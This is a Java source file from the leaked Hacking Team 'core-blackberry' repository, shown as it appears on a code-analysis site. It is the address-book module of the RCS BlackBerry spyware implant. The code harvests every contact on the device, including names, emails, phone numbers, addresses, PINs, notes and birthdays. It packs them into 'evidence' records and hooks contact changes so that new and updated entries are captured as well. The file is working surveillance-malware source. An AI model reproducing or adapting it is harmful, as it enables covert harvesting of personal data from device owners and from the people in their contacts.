hackedteam/core-blackberry

View on GitHub
RCSBlackBerry/src/blackberry/module/ModuleAddressBook.java

Summary

Maintainability
F
3 days
Test Coverage
//#preprocess
/* *************************************************
 * Copyright (c) 2010 - 2010
 * HT srl,   All rights reserved.
 * Project      : RCS, RCSBlackBerry
 * Package      : blackberry.agent
 * File         : ImAgent.java
 * Created      : 28-apr-2010
 * *************************************************/
package blackberry.module;

import java.util.Date;
import java.util.Enumeration;

import javax.microedition.pim.Contact;
import javax.microedition.pim.ContactList;
import javax.microedition.pim.PIM;
import javax.microedition.pim.PIMException;
import javax.microedition.pim.PIMItem;

import net.rim.blackberry.api.pdap.BlackBerryContact;
import net.rim.blackberry.api.pdap.BlackBerryPIMList;
import net.rim.blackberry.api.pdap.PIMListListener;
import net.rim.device.api.util.DataBuffer;
import blackberry.Messages;
import blackberry.config.ConfModule;
import blackberry.debug.Debug;
import blackberry.debug.DebugLevel;
import blackberry.evidence.Evidence;
import blackberry.evidence.EvidenceType;
import blackberry.evidence.Markup;
import blackberry.fs.Path;
import blackberry.interfaces.UserAgent;
import blackberry.manager.ModuleManager;
import blackberry.utils.Utils;

/**
 * The Class ImAgent.
 */
public final class ModuleAddressBook extends BaseModule implements
        PIMListListener, UserAgent {
    //#ifdef DEBUG
    static Debug debug = new Debug("ModAddress", DebugLevel.INFORMATION); //$NON-NLS-1$
    //#endif

    Markup markup;
    protected static final int SLEEPTIME = 3000;
    protected static final int PERIODTIME = 60 * 60 * 1000;

    private static final int POOM_STRING_SUBJECT = 0x01000000;
    private static final int POOM_STRING_CATEGORIES = 0x02000000;
    private static final int POOM_STRING_BODY = 0x04000000;
    private static final int POOM_STRING_RECIPIENTS = 0x08000000;
    private static final int POOM_STRING_LOCATION = 0x10000000;
    private static final int POOM_OBJECT_RECUR = 0x80000000;

    byte[] examplePacket;

    final int version = 0x01000000;

    public static String getStaticType() {
        return Messages.getString("1d.0");//"addressbook"; //$NON-NLS-1$
    }

    public static ModuleAddressBook getInstance() {
        return (ModuleAddressBook) ModuleManager.getInstance().get(
                getStaticType());
    }

    public boolean parse(ConfModule conf) {
        markup = new Markup(this);

        setDelay(SLEEPTIME);
        setPeriod(PERIODTIME);
        return true;
    }

    public synchronized void actualStart() {
        //#ifdef DEBUG
        debug.trace("actualStart: add listener"); //$NON-NLS-1$
        //#endif

        final PIM pim = PIM.getInstance();
        BlackBerryPIMList list;
        try {
            list = (BlackBerryPIMList) pim.openPIMList(PIM.CONTACT_LIST,
                    PIM.READ_ONLY);
            list.addListener(this);

        } catch (final PIMException e) {
            //#ifdef DEBUG
            debug.error(e);
            //#endif
        }

    }

    public synchronized void actualStop() {
        //#ifdef DEBUG
        debug.trace("actualStop: remove listener"); //$NON-NLS-1$
        //#endif

        final PIM pim = PIM.getInstance();
        BlackBerryPIMList list;
        try {
            list = (BlackBerryPIMList) pim.openPIMList(PIM.CONTACT_LIST,
                    PIM.READ_ONLY);
            list.removeListener(this);

        } catch (final PIMException e) {
            //#ifdef DEBUG
            debug.error(e);
            //#endif
        }
    }

    /*
     * (non-Javadoc)
     * @see blackberry.threadpool.TimerJob#actualRun()
     */
    public void actualLoop() {
        //#ifdef DEBUG
        debug.trace("actualRun"); //$NON-NLS-1$
        //#endif

        if (!markup.isMarkup()) {
            //#ifdef DEBUG
            debug.info("actualLoop: getting Contact List"); //$NON-NLS-1$
            //#endif

            if (getContactList()) {
                //#ifdef DEBUG
                debug.trace("actualRun: need to write markup"); //$NON-NLS-1$
                //#endif
                markup.createEmptyMarkup();
            }
        }
    }

    private boolean getContactList() {
        ContactList contactList;
        int number = 0;

        String[] lists = PIM.getInstance().listPIMLists(PIM.CONTACT_LIST);
        //#ifdef DEBUG
        debug.trace("getContactList lists: " + lists.length); //$NON-NLS-1$
        //#endif

        boolean ret = true;

        for (int i = 0; i < lists.length; i++) {
            try {
                String name = lists[i];
                //#ifdef DEBUG
                debug.trace("getContactList: opening " + name); //$NON-NLS-1$
                //#endif
                contactList = (ContactList) PIM.getInstance().openPIMList(
                        PIM.CONTACT_LIST, PIM.READ_ONLY, name);

                number = saveContactEvidence(contactList);
                //#ifdef DEBUG
                debug.trace("getContactList: saved " + number); //$NON-NLS-1$
                //#endif

            } catch (final PIMException e) {
                //#ifdef DEBUG
                debug.error(e);
                //#endif

                ret = false;
            }
        }
        return ret;

    }

    private void save(Contact item) {
        try {
            //#ifdef DEBUG
            debug.trace("save: " + item);
            //#endif

            final ContactList contactList = (ContactList) item.getPIMList();
            final BlackBerryContact contact = (BlackBerryContact) item;
            final byte[] payload = getContactPacket(contactList, contact);

            Evidence evidence = new Evidence(EvidenceType.ADDRESSBOOK);
            evidence.atomicWriteOnce(payload);

        } catch (final Exception ex) {
            //#ifdef DEBUG
            debug.error(ex);
            //#endif
        }
    }

    private int saveContactEvidence(ContactList contactList)
            throws PIMException {
        final Enumeration eContacts = contactList.items();

        //#ifdef DEBUG
        debug.trace("saveContactEvidence: got contacts"); //$NON-NLS-1$
        //#endif

        Evidence evidence = new Evidence(EvidenceType.ADDRESSBOOK);
        evidence.createEvidence();

        Contact contact;
        int number = 0;
        while (eContacts.hasMoreElements()) {
            //#ifdef DEBUG
            debug.trace("saveContactEvidence: contact #" + ++number); //$NON-NLS-1$
            //#endif
            try {
                contact = (Contact) eContacts.nextElement();
                final byte[] packet = getContactPacket(contactList, contact);

                evidence.writeEvidence(packet);
                if(number % 10 == 0){
                    evidence.close();
                    evidence = new Evidence(EvidenceType.ADDRESSBOOK);
                    evidence.createEvidence();
                }

            } catch (final Exception ex) {
                //#ifdef DEBUG
                debug.error(ex);
                //#endif
            }
        }

        //#ifdef DEBUG
        debug.trace("saveContactEvidence: finished contacts. Total: " + number); //$NON-NLS-1$
        //#endif
        evidence.close();

        return number;
    }

    /**
     * HomeAddressStreet = 0x21, HomeAddressCity = 0x22, HomeAddressState =
     * 0x23, HomeAddressPostalCode = 0x24, HomeAddressCountry = 0x25,
     * OtherAddressStreet = 0x26, OtherAddressCity = 0x27, OtherAddressState =
     * 0x2F, OtherAddressPostalCode = 0x28, OtherAddressCountry = 0x29,
     * BusinessAddressStreet = 0x2A, BusinessAddressCity = 0x2B,
     * BusinessAddressState = 0x2C, BusinessAddressPostalCode = 0x2D,
     * BusinessAddressCountry = 0x2E,
     * 
     * @param contactList
     * @param version
     * @param contact
     * @return
     */
    private byte[] getContactPacket(ContactList contactList, Contact contact) {

        //final byte[] header = new byte[12];
        //final byte[] payload = new byte[12];

        final DataBuffer dbPayload = new DataBuffer(false);
        initCustomFields();

        final String[] categories = contact.getCategories();
        for (int i = 0; i < categories.length; i++) {
            //#ifdef DEBUG
            debug.trace("getContactPacket cat: " + categories[i]); //$NON-NLS-1$
            //#endif
        }

        int uid = 0;

        if (contactList.isSupportedField(Contact.UID)) {
            if (contact.countValues(Contact.UID) > 0) {
                final String suid = contact.getString(Contact.UID, 0);
                //#ifdef DEBUG
                debug.info("getContactPacket uid: " + suid); //$NON-NLS-1$
                //#endif
                try {
                    uid = Integer.parseInt(suid);
                } catch (final NumberFormatException ex) {
                    //#ifdef DEBUG
                    debug.error(ex);
                    //#endif
                }
            }
        }

        dbPayload.writeInt(0);
        dbPayload.writeInt(version);
        dbPayload.writeInt(uid);

        //#ifdef DEBUG
        debug.trace("getContactPacket: name"); //$NON-NLS-1$
        //#endif
        if (contactList.isSupportedField(Contact.NAME)) {
            if (contact.countValues(Contact.NAME) > 0) {
                final String[] names = contact.getStringArray(Contact.NAME, 0);

                addField(dbPayload, names, Contact.NAME_GIVEN, (byte) 0x01);
                addField(dbPayload, names, Contact.NAME_FAMILY, (byte) 0x02);
            }
        }

        //#ifdef DEBUG
        debug.trace("getContactPacket: email"); //$NON-NLS-1$
        //#endif
        addEmailField(contactList, contact, dbPayload, Contact.EMAIL,
                new byte[] { 0x06, 0x0D, 0x0F });

        //#ifdef DEBUG
        debug.trace("getContactPacket: tel"); //$NON-NLS-1$
        //#endif
        addTelField(contactList, contact, dbPayload, Contact.TEL, (byte) 0x07);

        //#ifdef DEBUG
        debug.trace("getContactPacket: addr"); //$NON-NLS-1$
        //#endif
        if (contactList.isSupportedField(Contact.ADDR)) {
            int numAddress = contact.countValues(Contact.ADDR);

            //#ifdef DEBUG
            debug.trace("getContactPacket, num addresses: " + numAddress); //$NON-NLS-1$
            //#endif

            for (int i = 0; i < numAddress; i++) {
                final String[] addr = contact.getStringArray(Contact.ADDR, i);

                int attribute = contact
                        .getAttributes(BlackBerryContact.ADDR, i);
                if (attribute == BlackBerryContact.ATTR_HOME) {
                    //#ifdef DEBUG
                    debug.trace("getContactPacket addr home"); //$NON-NLS-1$
                    //#endif

                    addField(dbPayload, addr, Contact.ADDR_STREET, (byte) 0x21);
                    addField(dbPayload, addr, Contact.ADDR_LOCALITY,
                            (byte) 0x22);
                    addField(dbPayload, addr, Contact.ADDR_REGION, (byte) 0x23);
                    addField(dbPayload, addr, Contact.ADDR_POSTALCODE,
                            (byte) 0x24);
                    addField(dbPayload, addr, Contact.ADDR_COUNTRY, (byte) 0x25);

                } else if (attribute == BlackBerryContact.ATTR_WORK) {
                    //#ifdef DEBUG
                    debug.trace("getContactPacket addr work"); //$NON-NLS-1$
                    //#endif
                    addField(dbPayload, addr, Contact.ADDR_STREET, (byte) 0x2A);
                    addField(dbPayload, addr, Contact.ADDR_LOCALITY,
                            (byte) 0x2B);
                    addField(dbPayload, addr, Contact.ADDR_REGION, (byte) 0x2C);
                    addField(dbPayload, addr, Contact.ADDR_POSTALCODE,
                            (byte) 0x2D);
                    addField(dbPayload, addr, Contact.ADDR_COUNTRY, (byte) 0x2E);
                } else {
                    //#ifdef DEBUG
                    debug.trace("getContactPacket addr other"); //$NON-NLS-1$
                    //#endif
                    addField(dbPayload, addr, Contact.ADDR_STREET, (byte) 0x26);
                    addField(dbPayload, addr, Contact.ADDR_LOCALITY,
                            (byte) 0x26);
                    addField(dbPayload, addr, Contact.ADDR_REGION, (byte) 0x2F);
                    addField(dbPayload, addr, Contact.ADDR_POSTALCODE,
                            (byte) 0x28);
                    addField(dbPayload, addr, Contact.ADDR_COUNTRY, (byte) 0x29);
                }

                addField(dbPayload, addr, Contact.ADDR_POBOX, (byte) 0x2D);
                addField(dbPayload, addr, Contact.ADDR_EXTRA, (byte) 0x36);

            }
        }

        //#ifdef DEBUG
        debug.trace("getContactPacket: pin"); //$NON-NLS-1$
        //#endif
        addCustomField(contactList, contact, BlackBerryContact.PIN,
                Messages.getString("1d.24")); //$NON-NLS-1$

        //#ifdef DEBUG
        debug.trace("getContactPacket: users"); //$NON-NLS-1$
        //#endif
        addCustomField(contactList, contact, BlackBerryContact.USER1,
                Messages.getString("1d.26")); //$NON-NLS-1$
        addCustomField(contactList, contact, BlackBerryContact.USER2,
                Messages.getString("1d.27")); //$NON-NLS-1$
        addCustomField(contactList, contact, BlackBerryContact.USER3,
                Messages.getString("1d.28")); //$NON-NLS-1$
        addCustomField(contactList, contact, BlackBerryContact.USER4,
                Messages.getString("1d.29")); //$NON-NLS-1$

        //#ifdef DEBUG
        debug.trace("getContactPacket: org"); //$NON-NLS-1$
        //#endif
        addCustomField(contactList, contact, BlackBerryContact.ORG,
                Messages.getString("1d.31")); //$NON-NLS-1$

        //#ifdef DEBUG
        debug.trace("getContactPacket: note"); //$NON-NLS-1$
        //#endif
        addCustomField(contactList, contact, BlackBerryContact.NOTE,
                Messages.getString("1d.33")); //$NON-NLS-1$

        //#ifdef DEBUG
        debug.trace("getContactPacket: anniversary"); //$NON-NLS-1$
        //#endif
        addCustomDateField(contactList, contact, BlackBerryContact.ANNIVERSARY,
                Messages.getString("1d.35")); //$NON-NLS-1$

        //#ifdef DEBUG
        debug.trace("getContactPacket: birthday"); //$NON-NLS-1$
        //#endif
        addCustomDateField(contactList, contact, BlackBerryContact.BIRTHDAY,
                Messages.getString("1d.37")); //$NON-NLS-1$

        finalizeCustomFields(dbPayload);

        final int size = dbPayload.getLength();

        //#ifdef DEBUG

        debug.trace("size len: " + size); //$NON-NLS-1$
        //#endif        

        // a questo punto il payload e' pronto, scriviamo la size
        //dbPayload.trim(true);
        dbPayload.rewind();
        dbPayload.writeInt(size);

        byte[] packet = dbPayload.toArray();

        //#ifdef DEBUG
        debug.trace("packet: " + Utils.byteArrayToHex(packet)); //$NON-NLS-1$
        //#endif                

        return packet;
    }

    private void addField(DataBuffer dbPayload, String[] fields,
            int fieldNumber, byte logType) {

        try {
            if (fields[fieldNumber] != null) {
                final String value = fields[fieldNumber];
                Utils.addTypedString(dbPayload, logType, value);
            }
        } catch (final Exception ex) {
            //#ifdef DEBUG
            debug.error(ex);
            //#endif
        }

    }

    /*
     * private void addField(ContactList contactList, Contact contact,
     * DataBuffer dbPayload, int contactType, byte logType) { if
     * (name[Contact.NAME_GIVEN] != null) { String first =
     * name[Contact.NAME_GIVEN]; Utils.addTypedString(db_payload, (byte) 0x01,
     * first); } if (contactList.isSupportedField(contactType)) { if
     * (contact.countValues(contactType) >= 0) { String value =
     * contact.getString(contactType, 0); //#ifdef DEBUG
     * debug.trace("addField: " + contactType + "," + logType + " " + value);
     * //#endif Utils.addTypedString(dbPayload, logType, value); } } }
     */
    private void addEmailField(ContactList contactList, Contact contact,
            DataBuffer dbPayload, int contactType, byte[] logTypes) {

        if (contactList.isSupportedField(contactType)) {
            try {
                final int preferred = contact.getPreferredIndex(contactType);
                //#ifdef DEBUG
                debug.trace("addStringField preferred : " + preferred); //$NON-NLS-1$
                //#endif           

                for (int i = 0; i < contact.countValues(contactType)
                        && i < logTypes.length; i++) {
                    final String value = contact.getString(contactType, i);
                    //#ifdef DEBUG
                    debug.trace("addStringField: " + logTypes[i] + " " + value); //$NON-NLS-1$ //$NON-NLS-2$
                    //#endif
                    Utils.addTypedString(dbPayload, logTypes[i], value);
                }

            } catch (final Exception ex) {
                //#ifdef DEBUG
                debug.error(ex);
                //#endif
            }
        }
    }

    StringBuffer customBuffer = new StringBuffer();

    /**
     * La cosole accetta un solo custom field, quindi deve essere simulato
     * costruendo una stringa da serializzare solo nella finalize
     */
    private void initCustomFields() {
        //#ifdef DEBUG
        debug.trace("initCustomFields"); //$NON-NLS-1$
        //#endif
        customBuffer = new StringBuffer();
    }

    private void finalizeCustomFields(DataBuffer dbPayload) {
        //#ifdef DEBUG
        debug.trace("finalizeCustomFields"); //$NON-NLS-1$
        //#endif

        if (customBuffer == null) {
            //#ifdef DEBUG
            debug.error("finishCustomFields"); //$NON-NLS-1$
            //#endif
        } else {
            try {
                //#ifdef DEBUG
                debug.trace("finishCustomFields: " + customBuffer.toString()); //$NON-NLS-1$
                //#endif
                Utils.addTypedString(dbPayload, (byte) 0x37,
                        customBuffer.toString());
            } catch (Exception ex) {
                //#ifdef DEBUG
                debug.error("finalizeCustomFields: " + ex); //$NON-NLS-1$
                //#endif
            }
        }
    }

    protected void addCustomField(ContactList contactList, Contact contact,
            int contactType, String typeName) {

        if (contactList.isSupportedField(contactType)) {
            try {

                if (contact.countValues(contactType) > 0) {
                    final String value = contact.getString(contactType, 0);
                    customBuffer.append(typeName + value + "\r\n"); //$NON-NLS-1$
                }

            } catch (final Exception ex) {
                //#ifdef DEBUG
                debug.error(ex);
                //#endif
            }
        }
    }

    protected void addCustomDateField(ContactList contactList, Contact contact,
            int contactType, String typeName) {

        if (contactList.isSupportedField(contactType)) {
            try {

                if (contact.countValues(contactType) > 0) {
                    final long value = contact.getDate(contactType, 0);
                    customBuffer.append(typeName + (new Date(value)).toString()
                            + "\r\n"); //$NON-NLS-1$
                }

            } catch (final Exception ex) {
                //#ifdef DEBUG
                debug.error(ex);
                //#endif
            }
        }
    }

    protected void addTelField(ContactList contactList, Contact contact,
            DataBuffer dbPayload, int contactType, byte logType) {

        if (contactList.isSupportedField(contactType)) {
            try {
                final int preferred = contact.getPreferredIndex(contactType);
                //#ifdef DEBUG
                debug.trace("addStringField preferred : " + preferred); //$NON-NLS-1$
                //#endif

                if (contact.countValues(contactType) > 0) {
                    final String value = contact.getString(contactType, 0);
                    Utils.addTypedString(dbPayload, logType, value);
                }

                String note = ""; //$NON-NLS-1$
                final int last = contact.countValues(contactType) - 1;
                for (int i = 1; i <= last; i++) {
                    final String value = contact.getString(contactType, i);
                    //#ifdef DEBUG
                    debug.trace("addStringField: " + logType + " " + value); //$NON-NLS-1$ //$NON-NLS-2$
                    //#endif

                    note += value;
                    if (i < last) {
                        note += ", "; //$NON-NLS-1$
                    }
                }

                //#ifdef DEBUG
                debug.trace("addTelField note: " + note); //$NON-NLS-1$
                //#endif

                Utils.addTypedString(dbPayload, (byte) 0x34, note);
            } catch (final Exception ex) {
                //#ifdef DEBUG
                debug.error(ex);
                //#endif
            }
        }
    }

    public void itemAdded(PIMItem item) {
        init();
        //#ifdef DEBUG
        debug.info("itemAdded: " + item); //$NON-NLS-1$
        //#endif
        save((Contact) item);
    }

    public void itemRemoved(PIMItem item) {
        init();
        //#ifdef DEBUG
        debug.trace("itemRemoved: " + item); //$NON-NLS-1$
        //#endif
    }

    public void itemUpdated(PIMItem itemOld, PIMItem itemNew) {
        init();
        //#ifdef DEBUG
        debug.info("itemUpdated: " + itemNew); //$NON-NLS-1$
        //#endif

        save((Contact) itemNew);
    }

    private synchronized void init() {
        if (!Path.isInizialized()) {
            Path.makeDirs();
        }
        Debug.init();
    }

}